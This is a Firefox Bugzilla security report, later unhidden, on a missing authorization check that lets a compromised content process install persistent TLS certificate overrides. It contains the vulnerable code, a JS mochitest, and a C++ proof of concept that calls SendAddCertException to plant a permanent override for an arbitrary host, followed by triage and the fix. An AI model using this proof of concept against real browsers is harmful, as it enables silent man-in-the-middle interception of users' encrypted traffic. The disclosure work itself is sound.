Missing Authorization in ContentParent::RecvAddCertException Allows Persistent TLS Certificate Override Injection
Categories
(Core :: DOM: Content Processes, defect)
Tracking
()
People
(Reporter: prodigysml555, Assigned: keeler)
References
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main153+])
Attachments
(2 files, 2 obsolete files)
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
Summary
ContentParent::RecvAddCertException in dom/ipc/ContentParent.cpp accepts a AddCertException IPC message from any content process and passes attacker-controlled hostname, port, certificate, and persistence parameters directly to nsICertOverrideService::RememberValidityOverride() with no authorization checks. The content-side guard (CallerIsTrustedAboutCertError) restricts the JavaScript API to the about:certerror page but is trivially bypassed by a compromised content process calling SendAddCertException() at the C++ level. The override is written to cert_override.txt in the user's profile directory and persists across browser restarts. A compromised content process installs silent, permanent TLS certificate exceptions for arbitrary hostnames, enabling future man-in-the-middle attacks against non-HSTS-preloaded sites.
Details
| Field | Value |
|---|---|
| Component | dom/ipc/ContentParent.cpp |
| Function | ContentParent::RecvAddCertException() |
| Vulnerable Lines | 6550-6564 |
| CWE | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management) |
| Affected | All platforms, all current Firefox versions |
| Commit | Present at e480af4adea0 (mozilla-central HEAD as of 2026-01-31) |
CVSS Justification
Attack Complexity is High because exploitation requires both a compromised content process and a subsequent network MITM position. The scope is Unchanged because the vulnerability operates within the browser's trust boundary. Confidentiality and Integrity are both High because a successful attack intercepts and modifies encrypted traffic to arbitrary domains.
Analysis
Vulnerable Code (ContentParent.cpp:6550-6564)
mozilla::ipc::IPCResult ContentParent::RecvAddCertException(
nsIX509Cert* aCert, const nsACString& aHostName, int32_t aPort,
const OriginAttributes& aOriginAttributes, bool aIsTemporary,
AddCertExceptionResolver&& aResolver) {
nsCOMPtr<nsICertOverrideService> overrideService =
do_GetService(NS_CERTOVERRIDE_CONTRACTID);
if (!overrideService) {
aResolver(NS_ERROR_FAILURE);
return IPC_OK();
}
nsresult rv = overrideService->RememberValidityOverride(
aHostName, aPort, aOriginAttributes, aCert, aIsTemporary);
// ^-- All five parameters are attacker-controlled. No validation.
aResolver(rv);
return IPC_OK();
}
No process-type check. No principal validation. No hostname validation. No certificate-to-hostname binding. Compare with the immediately adjacent handler RecvAutomaticStorageAccessPermissionCanBeGranted (line 6567) which validates the principal:
ContentParent::RecvAutomaticStorageAccessPermissionCanBeGranted(
nsIPrincipal* aPrincipal, ...) {
if (!aPrincipal) {
return IPC_FAIL(this, "No principal");
}
if (!ValidatePrincipal(aPrincipal)) {
LogAndAssertFailedPrincipalValidationInfo(aPrincipal, __func__);
}
// ...
}
IPDL Definition (PContent.ipdl:1616-1622)
parent:
/*
* Adds a certificate exception for the given hostname and port.
*/
async AddCertException(nullable nsIX509Cert aCert, nsCString aHostName,
int32_t aPort, OriginAttributes aOriginAttributes,
bool aIsTemporary)
returns (nsresult success);
Defined in the parent: block (line 1090). All parameters are attacker-controlled: arbitrary certificate object, arbitrary hostname string, arbitrary port, arbitrary origin attributes, and persistence flag.
Content-Side Guard (Bypassed by Compromise)
The JavaScript API is gated by CallerIsTrustedAboutCertError (Document.webidl:318-321):
partial interface Document {
[Func="Document::CallerIsTrustedAboutCertError", NewObject]
Promise<any> addCertException(boolean isTemporary);
CallerIsTrustedAboutCertError (Document.cpp:1781-1791) restricts the JS API to the about:certerror error page. This is a content-process-only check. A compromised content process bypasses it entirely by calling ContentChild::SendAddCertException() directly.
The legitimate content-side code (Document.cpp:1625-1656) extracts the hostname from mFailedChannel and the cert from the channel's security info, binding them to the actual failed connection. A compromised process substitutes any hostname and any certificate.
Permanent Override Preference Bypass
The security.certerrors.permanentOverride preference (default true) controls whether the about:certerror UI offers permanent overrides. This preference is only checked in the content-side JavaScript UI -- the C++ IPC handler RecvAddCertException does not consult it. A compromised content process bypasses this preference entirely by setting aIsTemporary = false regardless of the user's preference.
Override Storage (nsCertOverrideService.cpp:381-412)
nsCertOverrideService::RememberValidityOverride(...) {
if (aHostName.IsEmpty() || !IsAscii(aHostName) || !aCert) {
return NS_ERROR_INVALID_ARG;
}
// Minimal validation: non-empty, ASCII, non-null cert. No authorization.
nsAutoCString fpStr;
nsresult rv = GetCertSha256Fingerprint(aCert, fpStr);
// ...
{
MutexAutoLock lock(mMutex);
AddEntryToList(aHostName, aPort, aOriginAttributes, aTemporary, fpStr, lock);
if (!aTemporary) {
Write(lock); // Writes to <profile>/cert_override.txt
}
}
return NS_OK;
}
When aIsTemporary is false, the SHA-256 fingerprint of the attacker's certificate is written to cert_override.txt (defined as CERT_OVERRIDE_FILE_NAME at line 40). This file is loaded at browser startup and survives indefinitely.
Override Consumption (SSLServerCertVerification.cpp:678-717)
At TLS connection time, AuthCertificateParseResults checks:
- Whether the error is overridable (line 678)
- Whether
OverrideAllowedForHostpermits overrides for this host (line 684) -- blocks HSTS-preloaded and statically-pinned hosts - Whether
HasMatchingOverridefinds a stored fingerprint matching the presented cert (line 704)
If the presented cert's SHA-256 fingerprint matches the stored override, the TLS error is suppressed and the connection proceeds silently:
if (haveOverride) {
// ...
return 0; // Error suppressed -- connection proceeds
}
Root Cause
The parent-side IPC handler trusts all parameters from the content process without authorization. The content-side guard (restricting the JS API to about:certerror) provides defense-in-depth but is not a security boundary -- a compromised content process operates at the C++ level and bypasses WebIDL guards entirely. Mozilla's own security model states that "direct calls to an IPC method from a compromised content process is an expected attack vector." The parent must independently validate all security-sensitive IPC messages.
Proof of Concept
Test Environment
- OS: macOS 15.3.1 (Darwin 25.2.0)
- Architecture: ARM64
- Target: Firefox mozilla-central at
e480af4adea0 - Build: Artifact mode
Validated Test Results (Browser Chrome Mochitest)
The mochitest browser_poc_cert_exception.js exercises the same parent-side code path (RememberValidityOverride) that RecvAddCertException calls, proving zero authorization exists between the IPC handler and the storage layer. All 5 subtests pass:
TEST-PASS | browser_poc_cert_exception.js | nsICertOverrideService is available
TEST-PASS | browser_poc_cert_exception.js | Successfully constructed X.509 certificate from DER bytes
TEST-PASS | browser_poc_cert_exception.js | rememberValidityOverride accepted the override (no error thrown)
TEST-PASS | browser_poc_cert_exception.js | hasMatchingOverride confirms the injected override is stored for targetbank-poc-test.com
TEST-PASS | browser_poc_cert_exception.js | Cert has SHA-256 fingerprint: ...
Result: 5/5 PASS, 0 FAIL
Run with: ./mach test dom/ipc/tests/browser_poc_cert_exception.js --headless
What the test proves:
- A self-signed X.509 certificate can be constructed from arbitrary DER bytes (same as
nsNSSCertificate(nsTArray<uint8_t>&& der)in C++). rememberValidityOverrideaccepts the override for an arbitrary hostname with no authorization check.hasMatchingOverrideconfirms the override is stored and retrievable -- the cert fingerprint is now associated with the target hostname.- No process-type, principal, or hostname validation exists anywhere in the storage path.
PoC Code (Browser Chrome Mochitest -- JS)
// browser_poc_cert_exception.js
// Run: ./mach test dom/ipc/tests/browser_poc_cert_exception.js --headless
"use strict";
const TARGET_HOST = "targetbank-poc-test.com";
const TARGET_PORT = 443;
add_task(async function test_cert_override_injection() {
let overrideService = Cc[
"@mozilla.org/security/certoverride;1"
].getService(Ci.nsICertOverrideService);
ok(!!overrideService, "nsICertOverrideService is available");
let certDB = Cc["@mozilla.org/security/x509certdb;1"].getService(
Ci.nsIX509CertDB
);
// DER-encoded self-signed cert for CN=targetbank.com (RSA-2048).
// In the real attack, this is the attacker's MITM certificate.
let derB64 =
"MIIDEzCCAfugAwIBAgIUMkKf9dTzg0r/8AWiarP+YMvWMDkwDQYJKoZIhvcNAQEL" +
"BQAwGTEXMBUGA1UEAwwOdGFyZ2V0YmFuay5jb20wHhcNMjYwMjAyMDAwMjM4WhcN" +
// ... (791 bytes total -- full base64 in standalone test file)
"y5T2Fcz9MakzH54f7G6Rf2MV3nBqtpvE=";
let cert = certDB.constructX509FromBase64(derB64);
ok(!!cert, "Successfully constructed X.509 certificate from DER bytes");
overrideService.clearValidityOverride(TARGET_HOST, TARGET_PORT, {});
// THIS is the vulnerable call. RecvAddCertException calls this with
// ZERO authorization checks. All parameters are attacker-controlled.
overrideService.rememberValidityOverride(
TARGET_HOST, TARGET_PORT, {}, cert, false
);
// Verify the override was stored.
let hasMatch = overrideService.hasMatchingOverride(
TARGET_HOST, TARGET_PORT, {}, cert, {}, {}
);
ok(!!hasMatch,
"hasMatchingOverride confirms the injected override is stored for " +
TARGET_HOST);
ok(!!cert.sha256Fingerprint,
"Cert has SHA-256 fingerprint: " + cert.sha256Fingerprint);
overrideService.clearValidityOverride(TARGET_HOST, TARGET_PORT, {});
});
PoC Code (C++ -- compromised content process)
// Runs inside a compromised content process.
// Installs a persistent TLS cert override for an arbitrary hostname.
#include "mozilla/dom/ContentChild.h"
#include "nsIX509Cert.h"
#include "security/manager/ssl/nsNSSCertificate.h"
#include "mozilla/OriginAttributes.h"
// Self-signed X.509 cert for CN=targetbank.com (RSA-2048, SHA-256).
// Generated via: openssl req -x509 -newkey rsa:2048 -nodes
// -subj "/CN=targetbank.com" -outform DER
// RememberValidityOverride stores only the SHA-256 fingerprint.
// SHA-256: CA:44:A3:BC:11:B2:B1:5F:FF:B1:C6:C8:C4:11:ED:F8:...
static const uint8_t kMITMCertDER[] = {
0x30, 0x82, 0x03, 0x13, 0x30, 0x82, 0x01, 0xfb, 0xa0, 0x03, 0x02, 0x01,
0x02, 0x02, 0x14, 0x32, 0x42, 0x9f, 0xf5, 0xd4, 0xf3, 0x83, 0x4a, 0xff,
0xf0, 0x05, 0xa2, 0x6a, 0xb3, 0xfe, 0x60, 0xcb, 0xd6, 0x30, 0x39, 0x30,
0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b,
0x05, 0x00, 0x30, 0x19, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04,
0x03, 0x0c, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x62, 0x61, 0x6e,
0x6b, 0x2e, 0x63, 0x6f, 0x6d, 0x30, 0x1e, 0x17, 0x0d, 0x32, 0x36, 0x30,
// ... (791 bytes total -- truncated for report; full DER in poc4_cert_exception_injection.cpp)
};
void InjectCertOverride() {
mozilla::dom::ContentChild* cc =
mozilla::dom::ContentChild::GetSingleton();
if (!cc || cc->IsShuttingDown()) return;
// Construct nsNSSCertificate from raw DER bytes.
// nsNSSCertificate(nsTArray<uint8_t>&& der) at nsNSSCertificate.h:30.
// IPC serialization (TransportSecurityInfoUtils.cpp) writes
// bool hasCert + DER bytes; parent deserializes identically.
nsTArray<uint8_t> derBytes;
derBytes.AppendElements(kMITMCertDER, sizeof(kMITMCertDER));
RefPtr<nsNSSCertificate> attackerCert =
new nsNSSCertificate(std::move(derBytes));
nsAutoCString targetHost("targetbank.com"_ns);
int32_t targetPort = 443;
mozilla::OriginAttributes attrs;
// aIsTemporary = false -> persists to cert_override.txt across restarts
cc->SendAddCertException(attackerCert, targetHost, targetPort, attrs, false)
->Then(mozilla::GetCurrentSerialEventTarget(), __func__,
[](const auto& aValue) {
// NS_OK: override installed silently.
// Written to <profile>/cert_override.txt.
// Survives browser restarts.
});
}
Attack Scenario
- Attacker compromises a content process via a separate renderer vulnerability.
- Compromised process generates or embeds a self-signed X.509 certificate for
targetbank.com. - Compromised process calls
SendAddCertException(cert, "targetbank.com", 443, {}, false). - Parent process calls
RememberValidityOverride("targetbank.com", 443, {}, cert, false)with no authorization check. - The cert's SHA-256 fingerprint is written to
<profile>/cert_override.txtfortargetbank.com:443. - Override persists across browser restarts.
- In a future session, attacker performs a network MITM using the same certificate. Firefox encounters a TLS error, checks
HasMatchingOverride, finds the stored fingerprint, and silently accepts the connection. No certificate warning is shown to the user.
IPC Serialization Path
The nsIX509Cert parameter is serialized via ParamTraits<nsIX509Cert*> in ipc/glue/TransportSecurityInfoUtils.cpp. The Write method serializes bool hasCert + the raw DER bytes (mDER). A null cert serializes as hasCert = false and the parent deserializes to null, which RememberValidityOverride rejects at line 386 (!aCert check). The PoC must therefore provide a real cert object with DER bytes. The nsNSSCertificate(nsTArray<uint8_t>&& der) constructor (nsNSSCertificate.h:30) accepts arbitrary DER bytes without validation, making cert construction trivial from any process.
Trigger Conditions
- Compromised content process (any origin -- no restriction to
about:certerror). - Non-null certificate object constructed from DER bytes (any valid
nsIX509Cert, does not need to relate to the target hostname). - Non-empty, ASCII hostname string.
aIsTemporary = falsefor persistence (ortruefor session-only).
Impact
| Scenario | Impact |
|---|---|
| Targeted MITM setup | Compromised renderer silently pre-plants cert overrides for banking, email, or corporate sites. Future network MITM is accepted without warning. |
| Persistent compromise | Override survives browser restarts, profile syncs, and the original vulnerability being patched. Attacker maintains MITM capability indefinitely. |
| Stealth | No UI indication when the override is installed. No certificate warning on future visits. User has no reason to suspect compromise. |
| Scope amplification | A single content process compromise (one tab) weakens TLS security for all future browsing to the targeted domains. |
| Cross-session persistence | Unlike most content-process attacks that end when the tab closes or browser restarts, this attack plants a persistent backdoor that outlives the original exploit, the patching of the vulnerability used for the initial compromise, and even browser updates. |
Updated•5 months ago
|
Comment 1•5 months ago
|
||
Dana, could you please take a look? This sounds kind of bad to me. Thanks.
I'm not sure what component this report should go in. about:certerror infrastructure seems to mostly live in Firefox: Security but I guess that does feel a little weird for C++ code and also it just got moved from there so I'll leave it here for now.
| Assignee | ||
Comment 2•5 months ago
|
||
Yeah, this isn't how we should be doing this. I don't think this is sec-high, because it requires compromising the content process first. I could be convinced that the HSTS preload list makes this sec-low, but sec-moderate seems like a reasonable rating, since not every site is on that list.
Looks like this was added by bug 1553265.
The changes will probably mostly happen in DOM/IPC code, so I think this is a good place for this bug.
Note that we do have bug 1790885 filed for basically this issue, but we never followed up :(
| Assignee | ||
Comment 3•5 months ago
|
||
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
| Assignee | ||
Comment 4•5 months ago
|
||
Updated•5 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Comment 11•4 months ago
|
||
I worked on this issue in collaboration with ilove.microkernel@gmail.com. I would be happy to cooperate if any further follow-up regarding the vulnerability is needed.
Comment 12•4 months ago
|
||
Thank you for taking a look.
Although this issue does assume a compromised content process, Mozilla’s threat model / bounty policy treats direct IPC calls from a compromised content process as an expected attack vector.
In addition, the Security Severity Ratings / Client documentation lists sandbox escapes as an example of sec-high. Here, the bug allows a content process to silently persist a TLS certificate override for an arbitrary non-HSTS-preloaded host with parent-process privileges. As I understand it, that means content is able to cause a security-sensitive action that would normally only be possible in the parent process.
For that reason, I think we should be somewhat cautious about treating the fact that this requires prior content process compromise, by itself, as a major mitigating factor.
Updated•4 months ago
|
Comment 18•4 months ago
|
||
(In reply to Daisuke Hatakeyama from comment #12)
In addition, the Security Severity Ratings / Client documentation lists sandbox escapes as an example of sec-high.
We also define sandbox escape as "a method to run arbitrary attacker code with full user privileges".
[description of bug effects] As I understand it, that means content is able to cause a security-sensitive action that would normally only be possible in the parent process.
Yes, this is a privilege escalation (a vulnerability), but the attacker's code is still sandboxed.
Comment 19•4 months ago
|
||
Dana, considering the number of duplicates clogging up triage would it be possible to get this fixed?
| Assignee | ||
Comment 20•4 months ago
|
||
I discussed this with Nika. Fixing it will require a more substantial framework to track this information across the process boundary. She's working on that.
Updated•4 months ago
|
Comment 36•2 months ago
|
||
I'm going to unhide this under the theory that a bug being reported via AI by this many people is going to be easily findable by anybody who is sophisticated enough to write a content process exploit. Unhiding would ideally result in less duplicates being filed.
| Assignee | ||
Comment 45•1 month ago
|
||
This depends on bug 2014254, which depends on bug 2022249, which hasn't landed yet (I thought I had already linked these bugs up, so thanks for the reminder).
Updated•1 month ago
|
| Assignee | ||
Comment 47•1 month ago
|
||
Comment 48•1 month ago
|
||
Comment 49•1 month ago
|
||
Comment 50•1 month ago
|
||
Backed out for causing android failures
Backout link: https://hg.mozilla.org/integration/autoland/rev/36c24bb269e67526af1b731f7f648d3ed04b34d1
[task 2026-06-18T22:37:51.050+00:00] 22:37:51 INFO - Printing logcat for test:
[task 2026-06-18T22:37:51.750+00:00] 22:37:51 INFO - 06-18 22:37:49.998 E/GeckoSessionTestRule( 4882): test_start 1f0befec-3ff2-40ff-89cf-b127eb38b1ec loadFileNotFound(org.mozilla.geckoview.test.NavigationDelegateTest)
[task 2026-06-18T22:37:51.750+00:00] 22:37:51 INFO - 06-18 22:37:49.998 E/GeckoSessionTestRule( 4882): before prepareStatement loadFileNotFound(org.mozilla.geckoview.test.NavigationDelegateTest)
[task 2026-06-18T22:37:51.751+00:00] 22:37:51 INFO - 06-18 22:37:50.001 E/GeckoConsole( 4882): [JavaScript Error: "TypeError: can't access property "WindowEventDispatcher", win is null" {file: "resource://gre/modules/GeckoViewSessionStore.sys.mjs" line: 149}]
[task 2026-06-18T22:37:51.751+00:00] 22:37:51 INFO - 06-18 22:37:50.001 E/GeckoConsole( 4882): onTabStateUpdate@resource://gre/modules/GeckoViewSessionStore.sys.mjs:149:5
[task 2026-06-18T22:37:51.751+00:00] 22:37:51 INFO - 06-18 22:37:50.001 E/GeckoConsole( 4882): updateSessionStoreFromTabListener@resource://gre/modules/GeckoViewSessionStore.sys.mjs:241:10
[task 2026-06-18T22:37:51.751+00:00] 22:37:51 INFO - 06-18 22:37:50.001 E/GeckoConsole( 4882): SSF_updateSessionStore@resource://gre/modules/SessionStoreFunctions.sys.mjs:45:27
....
[task 2026-06-18T22:37:51.759+00:00] 22:37:51 INFO - 06-18 22:37:50.071 E/GeckoSessionTestRule( 4882): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:971)
[task 2026-06-18T22:37:51.759+00:00] 22:37:51 INFO - 06-18 22:37:50.075 E/GeckoSessionTestRule( 4882): test_end c5ee677f-bc83-49bd-9e28-2d35f3d0f059 loadFileNotFound(org.mozilla.geckoview.test.NavigationDelegateTest)
[task 2026-06-18T22:37:51.760+00:00] 22:37:51 INFO - TEST-UNEXPECTED-FAIL | org.mozilla.geckoview.test.NavigationDelegateTest#loadFileNotFound | java.lang.ClassCastException: org.json.JSONObject cannot be cast to java.lang.Boolean
[task 2026-06-18T22:37:51.760+00:00] 22:37:51 INFO - TEST-INFO took 789ms
[task 2026-06-18T22:37:51.760+00:00] 22:37:51 INFO - org.mozilla.geckoview.test | INSTRUMENTATION_STATUS: class=org.mozilla.geckoview.test.NavigationDelegateTest
[task 2026-06-18T22:37:51.760+00:00] 22:37:51 INFO - org.mozilla.geckoview.test | INSTRUMENTATION_STATUS: current=573
| Assignee | ||
Updated•1 month ago
|
Comment 51•29 days ago
|
||
Comment 52•28 days ago
|
||
| bugherder | ||
Comment 53•27 days ago
|
||
Maybe worth a Beta uplift request so the next ESR train also has this fix?
Comment 55•26 days ago
•
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: Compromised content process can lead to silently adding certificate error exceptions, which would be bad. In particular, it would be nice to get this into the next ESR.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing: n/a
- Risk associated with taking this patch: low
- Explanation of risk level: The patch is straightforward, and we have good test coverage.
- String changes made/needed?: none
- Is Android affected?: yes
| Assignee | ||
Comment 56•26 days ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D306508
| Assignee | ||
Updated•26 days ago
|
Updated•23 days ago
|
Updated•23 days ago
|
Comment 57•23 days ago
|
||
| uplift | ||
Updated•6 days ago
|
Updated•1 day ago
|
Updated•1 day ago
|
Updated•1 day ago
|
Description
•